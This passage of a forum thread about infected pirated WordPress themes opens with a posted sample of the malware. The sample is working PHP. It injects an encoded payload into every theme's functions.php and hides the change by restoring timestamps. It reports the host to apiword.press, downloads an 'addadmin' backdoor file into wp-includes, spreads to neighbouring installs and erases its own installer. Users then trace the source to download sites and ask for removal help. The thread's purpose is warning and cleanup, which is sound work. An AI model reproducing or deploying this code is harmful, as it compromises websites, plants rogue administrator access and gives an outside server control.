ZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVVJMX0N​EIjsKCQkJfQoJCQkKCQlkaWUoIiIpOwoJfQoKCQppZiAoICR3cGRiLT5nZXRfdmFyKCdTRUxFQ1QgY29​1bnQoKikgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFdIRVJFIGB1cmxgID0gIic​ubXlzcWxfZXNjYXBlX3N0cmluZyggJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gKS4nIicpID09ICcxJyA​pCgl7CgkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHdwZGItPnB​yZWZpeCAuICdkYXRhbGlzdGAgV0hFUkUgYHVybGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfU0V​SVkVSWydSRVFVRVNUX1VSSSddKS4nIicpOwoJCWlmICgkZGF0YSAtPiBmdWxsX2NvbnRlbnQpCgkJCXs​KCQkJCXByaW50IHN0cmlwc2xhc2hlcygkZGF0YSAtPiBjb250ZW50KTsKCQkJfQoJCWVsc2UKCQkJewo​JCQkJcHJpbnQgJzwhRE9DVFlQRSBodG1sPic7CgkJCQlwcmludCAnPGh0bWwgJzsKCQkJCWxhbmd1YWd​lX2F0dHJpYnV0ZXMoKTsKCQkJCXByaW50ICcgY2xhc3M9Im5vLWpzIj4nOwoJCQkJcHJpbnQgJzxoZWF​kPic7CgkJCQlwcmludCAnPHRpdGxlPicuc3RyaXBzbGFzaGVzKCRkYXRhIC0+IHRpdGxlKS4nPC90aXR​sZT4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IktleXdvcmRzIiBjb250ZW50PSInLnN0cmlwc2xhc2h​lcygkZGF0YSAtPiBrZXl3b3JkcykuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IkRlc2NyaXB​0aW9uIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBkZXNjcmlwdGlvbikuJyIgLz4nOwo​JCQkJcHJpbnQgJzxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIGZvbGxvdyIgLz4nOwo​JCQkJcHJpbnQgJzxtZXRhIGNoYXJzZXQ9Iic7CgkJCQlibG9naW5mbyggJ2NoYXJzZXQnICk7CgkJCQl​wcmludCAnIiAvPic7CgkJCQlwcmludCAnPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHR​oPWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA​6Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0​iJzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2h​lYWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzx​kaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXN​oZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmF​yKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';
    
    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
    
    if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
        {
            $themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
                
            $ping = true;
                
            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
                                        
                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_URL_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }
                                        
                                }
                        }
                        
                    if ($ping) {
                        $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                        @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
                    }
                }
        }
        
    for ($i = 0; $i<MAX_LEVEL; $i++)
        {
            $dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
        }
            
    foreach ($dirs as $dir)
        {
            foreach (@getDirList($dir) as $__)
                {
                    @SearchFile($search, $__);
                }
        }
        
    foreach ($GLOBALS['DIR_ARRAY'] as $e)
        {
            if ($file = file_get_contents($e[1]))
                {
                    if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt))
                        {
                            if ($salt[1] != AUTH_SALT)
                                {
                                    WP_URL_CD(dirname($e[1]));
                                }
                        }
                }
        }
        
    if ($file = @file_get_contents(__FILE__))
        {
            $file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
            $file = preg_replace('!<\?php\s*\?>!s', '', $file);
            @file_put_contents(__FILE__, $file);
        }
        
}

//install_code_end

?><?php error_reporting(0);?>

This is not all.
We are looking for people who will help to find and remove viruses are another type.
This man is cunning, he will not stop and will continue to promote their viruses always wherever you can.

[CanhCam Guy]

Where's that stuffs from???

[pelangi17]

(11-13-2016 07:07 PM)dccountrydz Wrote:  Where's that stuffs from???

[bale]

That is sad. Looks like only his files are infected. The same themes found on other site don't have that extra file.

[mposterz]

Website stealing news here: nitrogfx.com or nulledfire.com
Often mask the older versions to new templates. Encrypts and advertises other websites. The problem is that he issued the first in the search engines. His material is spread all over the internet. I warned all of you

[bale]

Like I said, only the themes on dlwordpress.com have that code. There is no reason to blame other sites without proof.

[mposterz]

Do not shake anything from this site. On the other purely, if of course this site is not copied

[antwanneke]

hi someone can help i have this virus on my wordpress to dlwordpress.com

[kliopa10]

solution